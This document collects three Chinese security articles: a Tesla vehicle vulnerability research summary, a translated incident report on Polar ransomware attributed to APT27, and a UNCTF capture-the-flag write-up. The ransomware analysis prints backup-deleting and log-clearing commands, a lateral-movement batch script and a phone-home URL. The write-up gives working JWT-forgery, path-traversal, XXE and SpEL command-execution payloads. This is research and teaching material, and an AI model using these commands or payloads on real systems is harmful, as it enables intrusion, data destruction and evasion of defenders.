USA大会上，我们向大家介绍2017年的攻击链中相关漏洞的细节，并分享使用这些漏洞是如何完成灯光秀的。此外，自动驾驶系统的安全性已经成为一个新的热点话题，我们则会向大家展示在特斯拉车上，对辅助驾驶模块（即Autopillot，也称APE）的安全研究成果。最后，和以往一样，我们将会介绍特斯拉对相关漏洞的修复结果，并再一次强调只有安全研究者、安全社区和设备厂商互相合作，才能有效的提高整体安全水平。
攻击过程中涉及到的部分硬件单元和连接方式如下图所示。在去年，我们利用了两个Webkit中存在的漏洞，实现了浏览器中的任意代码执行。今年的情况和去年类似，整个攻击过程依然是从一个Webkit漏洞开始的。
CID上具有一个Webkit内核的浏览器，在漏洞报告时，该浏览器仍保持为534.34版。该版本的Webkit内核中，存在一个UAF漏洞，下图即是该漏洞的PoC代码：
这个漏洞存在于对SVGTransformList元素的操作过程中。该元素内部存在多个SVGTransform实例，这些实例的SVGMatrix结构会存储在一个Vector里。当SVGTransformList的Initialize或clear方法被调用后，Vecotr被释放，但访问Vector中Matrix的指针仍然存留。利用该UAF漏洞，经过精心的内存布局之后，即可借助ArrayStorage、Uint32Array等结构的特性实现对内存的任意读和任意写，并从而实现了浏览器中的代码执行。
获取了浏览器的权限之后，下一步操作就是突破内核和其他安全防护措施对浏览器的限制，从而得到root
shell。2016年，我们是通过利用Linux内核中的一个漏洞实现该目的的，但在2017年，由于特斯拉修复了相当多的内核漏洞，我们不得不寻找新的漏洞。
在2017年的车机固件中，浏览器进程只能访问/dev/nvmap和/dev/nvhost-ctrl两个文件，这两个文件都是用来与英伟达Tegra芯片进行通信的驱动接口。在和这两个接口相关的代码中，我们发现了一处漏洞，该漏洞可使我们从用户空间对内核空间的任意内存地址减1。
这一漏洞存在于NVMap驱动中，当处理命令NVMAP_IOC_PIN_MULT时，由于对用户提供的指针数组验证不当，当其中包含一个非法结构时，非法结构体的引用数会被减1，而这个引用数的指针是用户态可控的。这意味着，用户态可以对内核态的任意内存地址减1。利用这一漏洞，结合Kernel中的其他gadget，我们可以对内核空间中的任意地址进行读写操作。之后对相关的syscall和AppArmor配置进行篡改，即可拥有root
shell。
得到root
shell证明CID已被完全攻破，下一个目标则是网关。2016年我们报告了网关上的一些设计缺陷，特斯拉在收到报告后对相关漏洞进行了修复，通过加入签名机制，对网关上的升级软件传输操作进行了限制，未签名的升级软件将不能被传输到网关上，因此理论上使用非物理攻击方法是无法传输篡改后的升级软件的。
但在对新软件进行安全审计的过程中，我们发现，升级过程中存在行为不一致的问题。如下图所示，尽管网关的文件传输协议限制了直接传输升级软件的操作，名为”boot.img”的升级软件无法直接传输到网关上，但文件系统的重命名行为和文件传输协议的重命名行为不一致。文件系统会忽略目标文件名首部的空格，导致目标文件名“\x20boot.img”会被文件系统理解为”boot.img”，从而绕过了升级软件对文件名的检查。
用这种方法刷入我们修改后的升级软件后，重启网关，使其执行升级软件，即可在网关上执行我们修改后的升级代码，植入后门，或绕过原有升级软件对固件签名的检查。
此外，我们还对整个OTA升级过程进行了研究。特斯拉的OTA升级过程大致可由下图所示的几个关键步骤描述。
云端通过特斯拉自有的握手协议下发固件下载地址后，特斯拉CID上的cid-updater会从云端下载固件，进行解密，并校验其完整性。之后通过类似于A/B
Update的方式，车内其他强运算力的联网组件（如IC、APE等）根据cid-updater提供的固件文件进行升级。
此外，cid-updater还会负责根据固件包中的目录信息，与车辆配置做比照，据此产生release.tgz文件，并和上文提到过的升级软件boot.img一同提供给网关，网关执行上述升级软件，更新在网关上连接的二十余个ECU。
为了展示我们对车电系统整体的理解，我们对特斯拉在2016年年末推出的彩蛋功能进行了自定义修改和展示。下图是彩蛋过程中几个重点参与活动的ECU：
首先，CID会发送启动信号，触发这一过程，信号会被发送至BCCEN，该控制器对相关硬件进行初始化操作后，会确认目前车辆是否准备好启动彩蛋，并等待钥匙的按键信号。按键后，CID开始播放音乐，同时BCCEN以及其他ECU会按照各ECU中存储的动作表，控制各组件按照预定计划动作。
因此为了实现自定义彩蛋功能，我们在CID中动态修改了多个检查点，并对ECU固件中的动作表进行了修改，将修改后的固件刷入了ECU中。
最后，作为对前沿技术的一个尝试，我们研究了ape-updater中的安全漏洞。该程序作为特斯拉OTA框架中的一部分，负责整个APE系统的更新。
该程序提供了两个业务端口，其中25974端口提供了一个交互式shell和多种命令，可供CID进行控制；28496端口可通过一个HTTP服务器提供其他组件需要的文件。
在25974端口提供的handshake命令中，会从服务器请求一个JSON字符串，并稍后提供给install命令解析。在某个特定版本的特斯拉APE固件中，我们发现了名为m3-factory-deploy的命令，该命令可覆盖handshake返回的JSON，从而让攻击者提供的JSON被解析。
利用JSON中存在的self_serve键值，可以要求APE将/var/etc/saccess/tesla1这一文件暴露在HTTP服务器下，从而可得到其内容。利用其为凭据，可通过25974端口得到ape-updater中自带的命令执行权限，可以重新开启SSH，并以root权限在APE上执行任意程序。
在上述所有漏洞报告给特斯拉后，特斯拉做出了及时的反应，其中包括：
* 修复Webkit漏洞
* 与英伟达共同修复NVMap中的内核漏洞
* 修复Gateway中的漏洞
我们还注意到特斯拉在其系统安全性上不断地进行改善与提高，比如：
* 更严格的iptables限制
* 对OTA框架中的几个关键程序进行进一步加固
* 降低saccess文件夹中token的权限
* 禁止系统降级
* ……
我们认为在这一过程中，特斯拉专业的安全响应团队和他们的OTA机制起到了关键的作用，防止了车主受到进一步的威胁。
由于篇幅所限，对相关漏洞我们只介绍了类型和核心原理，对我们的研究感兴趣的朋友可以查看我们发布的白皮书[《穿云拨雾：对特斯拉汽车网关、车身控制模块以及辅助驾驶（Autopilot）ECU的渗透测试》](https://share.weiyun.com/5v6B2md
"《穿云拨雾：对特斯拉汽车网关、车身控制模块以及辅助驾驶（Autopilot）ECU的渗透测试》")获取更多信息。
* * * | 社区文章 |
**译者：知道创宇404实验室翻译组**
**原文链接：<https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/incident-response-polar-ransomware-apt27/>**
### 前言
本次攻击是一个著名的亚洲APT组织所为，该组织涉嫌对政府目标进行网络间谍活动。在本文中，我们将分享这次攻击的调查结果。
### 事件顺序
对客户基础设施文件的大规模加密和赎金要求构成了调查的起点。大量损坏的文件本身就是一个非常明显的攻击指标，可以用来检测入侵。分析显示，客户的基础设施不是在三四天前（甚至在几小时前，就像在大规模袭击中经常发生的那样）遭到破坏，而是在2018年初受到的攻击。此外，攻击者最初感染的是受害者的外国办事处。随后，总部也遭到了攻击。
我们认为，外国办事处网络的最初入口点是网络中的一个易受攻击的服务器。2018年2月，在[ChinaChopper](https://en.wikipedia.org/wiki/China_Chopper
"ChinaChopper")和[TwoFace](https://unit42.paloaltonetworks.com/unit42-twoface-webshell-persistent-access-point-lateral-movement/ "TwoFace") web
shell的帮助下，攻击者获得了最初的访问权，并获得了持久性。
攻击者使用[NBTScan](http://unixwiz.net/tools/nbtscan.html
"NBTScan")进行网络侦察，使用[PsExec](https://docs.microsoft.com/en-us/sysinternals/downloads/psexec
"PsExec")进行横向移动。他们获得了与[Mimikatz](https://github.com/gentilkiwi/mimikatz/releases
"Mimikatz")合作的资格。在某些情况下，我们能够检测已存档和上传的lsass进程的内存转储。因为使用Mimikatz很可能被终端安全软件阻止，攻击者被迫运行bruteforcing
offline。另一种方法是用[SMBTouch](https://github.com/3gstudent/Smbtouch-Scanner
"SMBTouch")扫描主机，寻找所谓的Eternal*
SMB漏洞，然后在可能的情况下运利用EternalBlue漏洞并感染计算机。攻击者在最感兴趣的主机上安装[SysUpdate](https://www.nccgroup.com/uk/about-us/newsroom-and-events/blogs/2018/may/emissary-panda-a-potential-new-malicious-tool/
"SysUpdate")和[HyperBro](https://unit42.paloaltonetworks.com/emissary-panda-attacks-middle-east-government-sharepoint-servers/ "HyperBro")后门是为了持久性访问。
外国办事处和总部都在进行加密货币挖掘。这种活动在一年半的时间里没有引起注意。在此期间，攻击者仅通过定期获取新账户或建立隧道链来维持他们的访问能力。我们认为，到2020年初，攻击者已经失去了访问权限（原因我们不知道）。2020年2月9日，我们在国外办事处的服务器上看到Web
Shell的使用。通过使用前面描述的工具，攻击者获得了总部域管理机构的证书。这次，他们删除了操作系统日志并停止了Shadow
Copy服务，从而使后续的事件分析更加复杂。
最终，在2020年4月29日，被攻击的域名管理员的账户被用来将Polar勒索软件推送到电脑上并运行它，进行加密用户文件并索要赎金。当我们的专家在2020年5月为客户提供帮助时，攻击者再次尝试通过在总部和办公室网络上的Web
Shell来重新控制基础设施，但是这次没有成功。
这里我们提供了一个时间线，以便更好地显示事件的顺序。
CSIRT的目标包括恢复客户数据，其中包括属于不同部门的关键信息。我们对加密恶意软件进行了分析，从而可以恢复丢失的文件。
### Polar勒索软件
三个文件被发送到受害者的计算机：
* GDFInstall.exe(MD5：13435101240f78367123ef01a938c560)是由Ubisoft签署的合法计算机游戏组件。
* GameuxInstallHelper.dll(MD5：1fd8402275d42e7389f0d28b9537db0f)是运行GDFInstall.exe时导入的.NET DLL库（于2020年4月29日编译）。
这个组件实际上不是合法的。在导出GameExplorerInstallW符号后，将执行攻击者代码。这种在合法应用程序上下文中加载恶意代码的常用技术称为[DLL劫持](https://attack.mitre.org/techniques/T1574/001/
"DLL劫持")。
读取文件`c:\programdata\Sysurl.Hex`（如果不存在，则从`c:\windows\system32\Sysurl.Hex`复制），然后使用密钥ABCSCDFRWFFSDJJHGYUOIj进行简单的XOR解密。最后用Base64解码，生成一个PE文件，该文件通过.NET加载并在内存中运行。有效负载和中间库在完成之前被删除。删除以标准（不安全）方式发生，如果及时停止磁盘访问并且信息未被覆盖，则可以恢复数据。
* Sysurl.Hex是Polar勒索软件的加密副本。
这种有效负载调用程序（合法应用程序在其中加载恶意库，然后解密恶意组件并传递控制权）通常用于运行[PlugX](https://attack.mitre.org/software/S0013/
"PlugX")后门，在亚洲APT组织（如APT10，APT41，TA459和Bronze Union）中很常见。
我们更详细地分析勒索软件的解密和解码版本（MD5：841980b4ae02a4e6520ab834deee241b）。
根据GameuxInstallHelper.dll的启动方式，我们可以很快地猜出该文件也是使用.NET编译的可执行文件。编译日期为2020年4月9日。代码入口点是Polar命名空间中Encode类的Actions方法。
该恶意软件通过执行以下命令来删除系统事件日志和Shadow Copy副本：
dism /online /enable-feature /featurename:NetFx3
vssadmin.exe Delete Shadows /All /Quiet
bcdedit /set {default} recoveryenabled no
wmic shadowcopy delete
wbadmin delete backup
wbadmin delete systemstatebackup -keepversions:0
bcdedit /set {default} bootstatuspolicy ignoreallfailures
bcdedit /set {default} recoveryenabled no
wevtutil.exe clear-log Application
wevtutil.exe clear-log Security
wevtutil.exe clear-log System
wbadmin delete catalog -quiet
wbadmin delete catalog -quiet
wbadmin delete systemstatebackup
然后，它查找并停止以下进程：
然后，该恶意软件会获取已连接磁盘的列表，并开始递归遍历目录，并跳过其中的一些：
* C:\Windows
* C:\Program Files
* C:\Program Files (x86)
* C:\ProgramData
* C:\Python
* $SysReset
* $Recycle.Bin
* $RECYCLE.BIN
它只关心具有以下扩展名的文件：
在开始加密之前，该恶意软件会创建一个基本加密密钥，该密钥由以下字母表中随机选择的八个字符组成：`abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890*!=&?&/`。
根据文件大小，使用两种加密方法。每种方法都涉及不同的加密密钥。但是，这两种方法都使用基本加密密钥。
首先，我们将研究小于64052000字节（约61MB）的文件的加密方法。中间密码是基本加密密钥的SHA-256哈希和。它对所有文件都是相同的，并与硬编码的salt和1000次迭代一起使用，以生成加密密钥和初始化向量。每个密钥都用AES-CBC加密。.locked扩展名被添加到加密文件中。
较大的文件以不同的方式加密。在这种情况下，16字节的加密密钥是通过从基本加密密钥中获取前8个字节和从附加的硬编码数组中获取剩余8个字节形成的。随后是AES-ECB的[自定义](http://read.pudn.com/downloads415/sourcecode/crypt/1761761/AES.cs__.htm
"自定义")实现。16字节的块被加密，接下来的12800字节被跳过。结果是只加密了文件的一小部分，而不是整个文件。选择这种方法很可能是为了加快加密过程。加密文件的扩展名为.cryptd。
请注意，结果是创建一个新文件（在其中写入加密流）。原始文件被不安全地删除。因此，如果原始文件还没有被新信息覆盖，就不能从磁盘上恢复。
在每个包含加密文件的目录中，将创建一个名为[email protected]的文件，其内容如下：
Your companies cyber defense systems have been weighed, measured and have been found wanting!!!
The breach is a result of grave neglect of security protocols
All of your computers have been corrupted with Polar malware that has encrypted your files.
We ensure that the only way to retrieve your data swiftly and securely is with our software.
Restoration of your data requires a private key which only we possess
Don't waste your time and money purchasing third party software, without the private key they are useless.
It is critical that you don't restart or shutdown your computer.
This may lead to irreversible damage to your data and you may not be able to turn your computer back on.
To confirm that our software works email to us 2 files from random computers you will get them decrypted.
[email protected] contain encrypted session keys we need in order to be able to decrypt your files.
The softwares price will include a guarantee that your company will never be inconvenienced by us.
You will also receive a consultation on how to improve your companies cyber security
If you want to purchase our software to restore your data contact us at:
[email protected]
[email protected]
We can only show you the door. You're the one who has to walk through it.
Your personal installation key:*REDACTED*
勒索要求的文本与[MegaCortex](https://id-ransomware.blogspot.com/2019/05/megacortex-ransomware.html "MegaCortex")勒索软件使用的文本相似。
勒索要求包含基本加密密钥的修改版本。这个版本是通过使用RSA加密基本加密密钥（使用硬编码的1024字节公钥）并在Base64中对其进行编码而得到的。
文件加密完成后，恶意软件将映像（包含在可执行文件资源中）写入磁盘路径`c:\programdata\Rs.bmp`，并将其设置为桌面背景。
随后，该恶意软件重复删除系统事件日志和Shadow Copy副本的相同过程，该过程在开始时执行。然后它发送一个带有受害者计算机名称的HTTP
POST请求到位于hxxp://www.therockbrazil.com.br/assinaturas/logs.php的服务器。
### 如何解密文件
跟踪加密步骤的读者可能已经注意到，整个加密系统的安全性取决于我们所称的基本加密密钥。它的值用RSA-1024加密并放入赎金请求中。目前，没有既便宜又快速的方法来分解这样大的密钥。所以我们尝试了另一种策略。
请记住，基本密钥是从前面引用的字母表中随机抽取8个字符生成的。以下是实现的方式：
随机函数调用一次，不带任何参数。该调用返回一个随机数，该随机数的种子是从Environment.TickCount变量的值获取的。此变量为4个字节，存储自操作系统启动以来的毫秒数。
所以要解码这些文件，我们只需要知道勒索软件运行时的正常运行时间（计算机开机的时间）。
大多数受影响的计算机不仅与公司网络断开了连接，而且关闭了以分析硬盘内容。因此，无法知道计算机的正常运行时间。操作系统日志包含关机和开机的时间。但在这种情况下，勒索软件会两次销毁这些日志。因此，我们无法找到任何线索表明受影响计算机本身的正常运行时间的可能值。
然而，幸运的是，[SCCM](https://en.wikipedia.org/wiki/Microsoft_System_Center_Configuration_Manager
"SCCM")被用于客户端基础设施，客户端代理运行在所有加密的计算机上。我们需要的信息被集中存储，并且没有被篡改：我们所需要的只是反复试验以选择正确的值。
现在我们有了相对精确的正常运行时间值，我们需要确定勒索软件的运行时间。在最后，恶意软件会删除中间DLL库和加密勒索软件，但不会删除其进程用于执行恶意操作的合法可执行文件。换句话说，这个文件出现在系统上的时间应该是勒索软件运行的大概时间，大约在几秒钟之内。我们在一个普通的工作站上大约一分钟内成功地破解了基本加密密钥的精确值（大约几万次迭代）。然后我们可以解密剩下的文件。在一些情况下，我们在一开始就很难用暴力破解密钥。原因是时区设置不正确。
### 归因
我们提到了攻击者工具包中的SysUpdate和HyperBro后门。这些是APT27组织（也称为Bronze
Union、LuckyMouse、emissurary Panda或Iron
Tiger）使用的一些神秘的远程访问木马程序。该组织至少在2010年就开始活动。他们将注意力集中在国防和能源工业以及航空航天和制造业的政府目标上。最常见的是，原始攻击是通过利用漏洞，暴力破解凭据或利用Web服务器错误配置来破坏受害者的Web服务器的。尽管在战术、技术和程序(TTPs)以及泄密工具的使用上都有相似之处，但该团队的一些研究人员对将这些攻击归因于APT27持怀疑态度。
### 1.目标选择
媒体公司从未对APT27感兴趣。这与我们调查的结果是一致的：攻击者没有试图访问目标基础设施上的私人信息，而是运行软件以获取直接的经济利益。
### 2.加密货币挖掘和勒索软件
这是非典型的，不合适的软件，它可以迅速吸引人们的注意，破坏任何长期网络间谍计划。勒索软件在完成工作后“phones
home”的URL地址与APT27网络基础设施没有任何共同之处。当然，有些组织（如Lazarus和Winnti）将网络间谍与直接的财务动机相结合。因此，也许APT27正在扩大兴趣范围。或者，作为替代方案，该组织已经与其他攻击者达成协议，使用他们的软件来换取部分收益。为了便于将Polar归因于APT27，我们可以注意到有效负载、执行和命名的顺序：以类似的方式，加密的SysUpdate后门通常称为sys.bin.url，Polar勒索软件则称为Sysurl.Hex。然而，这也可能是一个错误的标志。
### 3.2018年和2020年的自动化
以下是2018年用于在计算机列表上自动安装加密货币矿工的脚本：
@echo off
for /f %%i in (c:\programdata\list.txt) do (
net use \\%%i\c$ "*" /u:*\administrator
copy c:\programdata\vmnat.exe \\%%i\c$\windows\system32\vmnat.exe
SCHTASKS /Create /S %%i /u *\administrator /p "*" /tn * /tr "cmd.exe /c start c:\windows\system32\vmnat.exe" /sc onstart /RU SYSTEM
schtasks /run /S %%i /u *\administrator /p "*" /tn *
net use \\%%i\c$ /del
net use * /del /Y
)
del vmnat.exe
del list.txt
del work.bat
这是用于在2020年从计算机列表中自动删除勒索软件的脚本：
@echo off
for /f %%i in (c:\programdata\list.txt) do (
net use \\%%i\c$ "*" /u:*\*
if not errorlevel 1 (
del \\%%i\c$\programdata\GameuxInstallHelper.dll
del \\%%i\c$\programdata\GDFInstall.exe
del \\%%i\c$\programdata\Sysurl.Hex
net use \\%%i\c$ /del
)ELSE (
echo not access %%i >> c:\programdata\no_access.txt
)
)
（我们将敏感信息替换为“*”）
这些脚本在结构上显示出某些相似之处，并且在同一路径上具有相同的文件行循环。另一方面，缩进、脚本任务和文件命名是不同的。有些命令过于笼统，无法分辨，因为它们可以在在线搜索结果中找到并重新使用。
### 4.SysUpdate和hyperro后门的主体
在某些情况下，我们无法根据木马本身来确认特定后门的存在。我们根据独特的文件名和其他已确认的工具，确定了已在2018年使用的Superpro后门。我们通过查看进程转储内存中的C2地址和后门，确认了2020年使用的SysUpdate后门，这些地址和后门是在调查期间从一个与我们的客户无关的组织上传到[VirusTotal](https://www.virustotal.com/gui/file/b645ff7ca1bce2a9449bcf7378895022170ec8adba62ccf528e453667da2210a/details
"VirusTotal")的。
综上所述，这些相似之处可以指定APT27是罪魁祸首，但并不完全绝对。
### 结论
在本文中，我们描述了针对一家媒体公司的APT27攻击。这些网络犯罪分子通过在外国的一个办公室进入了该公司的总部。他们对基础设施的控制维持了两年。他们使用了曾经见过的公开可用和定制开发的工具。黑客们虽然没有改变他们的TTP，却选择了相当不寻常的软件来获利。用户数据被加密后，赎金要求被提出。勒索软件加密算法中的一个错误使我们得以恢复加密的文件。据我们所知，攻击者没有获得任何有价值的信息。
### MITRE TTPs
Tactic | ID | Name
---|---|---
Initial Access | T1190 | Exploit Public-Facing Application
| T1199 | Trusted Relationship
Execution | T1059 | Command and Scripting Interpreter: Windows Command Shell
| T1053 | Scheduled Task/Job: Scheduled Task
| T1047 | Windows Management Instrumentation
Persistence | T1547 | Boot or Logon Autostart Execution: Registry Run Keys /
Startup Folder
| T1574 | Hijack Execution Flow: DLL Search Order Hijacking
| T1053 | Scheduled Task/Job: Scheduled Task
| T1078 | Valid Accounts: Domain Accounts
| T1078 | Valid Accounts: Default Accounts
Privilege Escalation | T1068 | Exploitation for Privilege Escalation
Defense Evasion | T1140 | Deobfuscate/Decode Files or Information
| T1070 | Indicator Removal on Host: Clear Windows Event Logs
| T1070 | Indicator Removal on Host: File Deletion
| T1070 | Indicator Removal on Host: Timestomp
Credential Access | T1003 | OS Credential Dumping: LSASS Memory
Discovery | T1087 | Account Discovery: Domain Account
| T1082 | System Information Discovery
| T1049 | System Network Connections Discovery
Lateral Movement | T1210 | Exploitation of Remote Services
| T1570 | Lateral Tool Transfer
| T1021 | Remote Services: SMB/Windows Admin Shares
Collection | T1560 | Archive Collected Data: Archive via Utility
| T1005 | Data from Local System
| T1119 | Automated Collection
| T1039 | Data from Network Shared Drive
Command and Control | T1071 | Application Layer Protocol: Web Protocols
| T1132 | Data Encoding: Standard Encoding
| T1573 | Encrypted Channel: Symmetric Cryptography
Exfiltration | T1020 | Automated Exfiltration
| T1041 | Exfiltration Over C2 Channel
Impact | T1486 | Data Encrypted for Impact
### IOCs
**ChinaChopper:**
2ce60073c09887f9e3a482097294e17d
5bc0d6918e03a92f04b3dfc21b619c7f
73717a2f9bfe19ccdad541bec1fa2b69
82a8470534d74c9c5c0d84071eb0a703
b89e96e2ea8dd6fdb438f7d5b8ecf60c
**TwoFace:**
581c331d41ef5f5df99ae0d16b2cebf0
ff2693903a1049984745e79381e9ed7e
**SysUpdate:**
3c1981991cce3b329902288bb2354728
43a2c2fb8d52dc1835ac18516b13aff1
4b5484e3de5c5a2e60fcee50d04183d6
**SysUpdate C &C:**
103.59.144[.]183（[ZoomEye搜索结果](https://www.zoomeye.org/searchResult?q=103.59.144.183
"ZoomEye搜索结果")）
95.179.189[.]33（[ZoomEye搜索结果](https://www.zoomeye.org/searchResult?q=95.179.189.33
"ZoomEye搜索结果")）
**NBTScan:**
f01a9a2d1e31332ed36c1a4d2839f412
**SMBTouch:**
b50fff074764b3a29a00b245e4d0c863
**PsExec:**
aeee996fd3484f28e5cd85fe26b6bdcd
**Termite:**
dc92496358b8e67568a35b861ba1804e39e3d36b
**Dsquery:**
3583d7c971de148a1ffb3302d1510ef1
**EternalBlue:**
8c80dd97c37525927c1e549cb59bcbf3
**frsocks:**
da0c13d834cafc010bec1afa2d76196ced71e661
**Mimikatz:**
449da3d7405c2c79fa55bd7973096e28
0078ff05c20689f40ea9cb8c47fcfb2e52cdc3a9
**BitMiner:**
5430039162e58c44f9a5941295b55fba
**Polar:**
841980b4ae02a4e6520ab834deee241b
* * * | 社区文章 |
## 前言
这次UNCTF 我一共出了两道Web题目，一道node.js
（Arbi）一道Java（GoodJava），由于比赛宣传力度可能不是特别大，再加上比赛周和很多的大型线下赛冲突，所以很多师傅都没有来参加比赛，有一点小遗憾。本次准备的两道题目都是花了很长时间准备的（特别是Arbi），下面就分享一下题目的解法，并且由于arbi这道题目我用了一个我认为比较新的攻击面，所以我会在写另一篇文章单独讲这个攻击面（真的绝对不是凑稿费XD
并且由于题目被安恒买断，我不能在互联网上公开题目的搭建dockerfile，但是这两道题目是公开的代码审计，所以我可以放出题目的源码，搭建就麻烦各位师傅花一点点时间，如果有搭建不成功的也可以私我询问，敬请谅解
源码在最下面
## Arbi
这道题的出题思路是在SCTF被非预期后想到的，采用和当时一样的非预期攻击面（具体可以移步另一篇
为了增加题目难度，我与[](\[https://github.com/justcatthefish/ctf/tree/master/2019-04-25-Angstrom2019/web#%C3%A5ngstromctf-2019
----quick-write-ups-by-terjanq-web\]\(https://github.com/justcatthefish/ctf/tree/master/2019-04-25-Angstrom2019/web#%C3%A5ngstromctf-2019
----quick-write-ups-by-terjanq-web)[ångstromCTF
2019](https://github.com/justcatthefish/ctf/tree/master/2019-04-25-Angstrom2019/web#%C3%A5ngstromctf-2019
----quick-write-ups-by-terjanq-web))
的一道题的trick相结合，加上一点点node的特性，于是就有了这道题
可能由于第一关脑洞有点大==，这道题虽然第一天就放了出来，但是很多师傅刚开始都没拿到源码，最终这道题放了6个hint，终于在6天后的
比赛最后一天被解了出来Orz
### 第一关
首先浏览题目，可以发现页面只有登陆注册，查看返回包，可以发现X-Powered-By告知了网站采用express构建
注册登录以后首页会显示一个派大星的图片和用户名
查看源代码可以发现可疑ssrf
但是如果更换src参数会提示，"Evil request!"
这个其实试一试就很容易猜到，这个路由的后端代码会匹配请求的url和用户名是否对应，在后面给的hint也可以得到这个结果
源码：
然后其实服务器的9000端口开了个SimpleHTTPServer，（题目描述）hint也讲的很清楚
如果直接访问/upload/evoA.jpg
也可以访问到图片，所以可以推断出，SimpleHTTPServer的根目录很可能在web根目录下，由于express的路由无法直接访问源代码文件，但是因为SimpleHTTPServer的原因，我们可以通过这个端口直接获取源码文件
这里就是第一个考点，虽然我们不知道node的入口文件是什么（大部分可能是app.js或者main.js，但此题不是）
node应用默认存在package.json，我们可以通过读取这个文件获取入口文件，由于上面说了ssrf接口会判断用户名是否匹配请求的url，所以我们可以注册一个恶意的用户名，"../package.json?"
这里?刚好把后面的.jpg给截断了，登录以后已经没有派大星了（图片内容是package.json的内容)
把图片下下来用文本打开，即可看到package.json文件内容
可以得到flag在/flag中，并且项目主入口是mainapp.js，继续注册文件名，一步一步爬源码
读到routers/index.js的时候可以看到源码路由（为了防止师傅们做题爬的太辛苦）访问下载源码即可
第一关以拿到源码结束
### 第二关
审计源码，可以发现有一个读文件的敏感操作在一个admin23333_interface的路由中，但是这个路由会鉴权用户是不是admin，所以第二关的核心任务是如何成为admin，（注册时不能注册admin用户的）
这里我参考了[](\[https://github.com/justcatthefish/ctf/tree/master/2019-04-25-Angstrom2019/web#%C3%A5ngstromctf-2019
----quick-write-ups-by-terjanq-web\]\(https://github.com/justcatthefish/ctf/tree/master/2019-04-25-Angstrom2019/web#%C3%A5ngstromctf-2019
----quick-write-ups-by-terjanq-web)[ångstromCTF
2019](https://github.com/justcatthefish/ctf/tree/master/2019-04-25-Angstrom2019/web#%C3%A5ngstromctf-2019
----quick-write-ups-by-terjanq-web))这道题
但是为了防止做题的时候被师傅们搜到，我对照这个功能，重新写了一遍代码。
具体代码就不贴了，师傅们可以自己看源码，我讲一下大概逻辑
首先注册登陆采用jwt认证，但是jwt的实现很奇怪，逻辑大概是，注册的时候会给每个用户生成一个单独的secret_token作为jwt的密钥，通过后端的一个全局列表来存储，登录的时候通过用户传过来的id取出对应的secret_token来解密jwt，如果解密成功就算登陆成功。
这里就是第二个考点
node 的jsonwebtoken库存在一个缺陷，也是jwt的常见攻击手法，当用户传入jwt secret为空时
jsonwebtoken会采用algorithm none进行解密
因为服务端 通过
var secret = global.secretlist[id];
jwt.verify(req.cookies.token,secret);
解密，我可以通过传入不存在的id，让secret为undefined,导致algorithm为none,然后就可以通过伪造jwt来成为admin
# pip3 install pyjwt
import jwt
token = jwt.encode({"id":-1,"username":"admin","password":"123456"},algorithm="none",key="").decode(encoding='utf-8')
print(token)
替换jwt后使用admin/123456登陆即可成功伪造admin
第二关就结束了
## 第三关
其实第三关才是我最想出出来的，但是由于思路不够，第三关感觉太简单了，所以前面设置了很多坎
成为admin后，就可以访问admin23333_interface接口，审计可以发现，这是一个读取文件的接口
这里用到了express的特性，当传入?a[b]=1的时候,变量a会自动变成一个对象 a = {"b":1}
所以可以通过传入name为一个对象，避开进入if判断 从而绕过第一层过滤
`if(!/^key$/im.test(req.query.name.filename))return res.sendStatus(500);`
第二个过滤是 判断filename 不能大于3,否者会过滤.和/,而读取flag需要先目录穿越到根目录
而../就已经占了3个字符，再加上flag肯定超过限制，
这时候可以换个思路，length不仅可以取字符串长度还可以取数组长度，把filename设数组，再配合下面的循环 即可完美恢复数组为字符串绕过过滤，
而express 中当碰到两个同名变量时，会把这个变量设置为数组，例如a=123&a=456 解析后 a =
[123,456]，所以最终组合成
/admin23333_interface?name[filename]=../&name[filename]=f&name[filename]=l&name[filename]=a&name[filename]=g
## GoodJava
此题参考了最近的TMCTF，经过了改编 加大了难度
### 第一关
题目会提供一个Jar包
用idea打开反编译后审计源码
找到Controller
[
](https://ctfwp.wetolink.com/2019unctf/GoodJava/f632b2d3b620a2789cd736b3a3a83bc5.png)
源码可知一共有两个路由
第二个路由需要输入secret密钥才能访问，而secret存在在服务器/passwd文件中
可以猜测第一个路由就是获取密钥文件的功能，跟进可以发现OIS类继承了ObjectInputStream，把POST数据传入OIS构造方法，而然后ois.readObject()则是反序列化操作
但是resolveClass方法限制了被反序列化的类只能是com.unctf.pojo.Man类
查看Man类，可以发现重写了readObject方法，这是Java反序列化的魔术方法，审计一下很容易发现XXE，根据代码构造XXE读passwd即可
PS: 需要注意一下本地构造时包名和serialVersionUID必须一致，此值代表了对象的版本或者说id，值不一致反序列化操作会失败
这里有个小考点，这里限制了xml数据不能含有file（大小写），而我们需要读取/passwd
这里有个trick，Java里面有个伪协议netdoc，作用和file一致，都是读取文件，所以这一步很简单，把file换成netdoc即可
注意一下本地构造包名也必须一致哦，不仅仅是类名一致就行
Man类加一个writeObject即可
详细步骤可以看看<https://github.com/p4-team/ctf/tree/master/2019-09-07-trendmicro-quals/exploit_300>
[
exp
[
output
[
### 第二关
然后就是第二步，考点是代码执行绕过
这里有个SPEL注入，可以构造任意类，但是同样代码过滤了Runtime|ProcessBuilder|Process|class
这三个Java中执行命令的类，题目提示必须执行命令才能拿到flag，然后Java又是强类型语言，很多操作不像php那么动态，所以这一步可能会难住很多人
然后这里有个trick，java内部有个javascript的解析器，可以解析javascript，而且在javascript内还能使用java对象
我们就可以通过javascript的eval函数操作
T(javax.script.ScriptEngineManager).newInstance().getEngineByName("js").eval("xxxxxxxxx")
由于不能使用关键字，我们可以通过字符串拼接来
<http://juke.outofmemory.cn/entry/358362>
exp里面也有对应的转换脚本
#------------------ payload = 'new java.io.BufferedReader(new java.io.InputStreamReader(java.lang.Runtime.getRuntime().exec("/readflag").getInputStream())).readLine()'
#------------------ exp = ""
first_flag = True
for c in payload:
c = ord(c)
if first_flag:
exp += '(T(java.lang.Character).toString({0}))'.format(str(c))
else:
exp += '.concat(T(java.lang.Character).toString(%s))' % str(c)
first_flag = False
print(exp)
exp
package com.unctf.pojo;
import java.io.*;
import javax.xml.parsers.DocumentBuilder;
import javax.xml.parsers.DocumentBuilderFactory;
import javax.xml.parsers.ParserConfigurationException;
import org.w3c.dom.Document;
import org.w3c.dom.Node;
import org.w3c.dom.NodeList;
import org.xml.sax.SAXException;
//import
public class Man implements Serializable {
public String name;
private static final long serialVersionUID = 54618731L;
public Man(String name) {
this.name = name;
}
private void writeObject(ObjectOutputStream objectOutputStream) throws IOException{
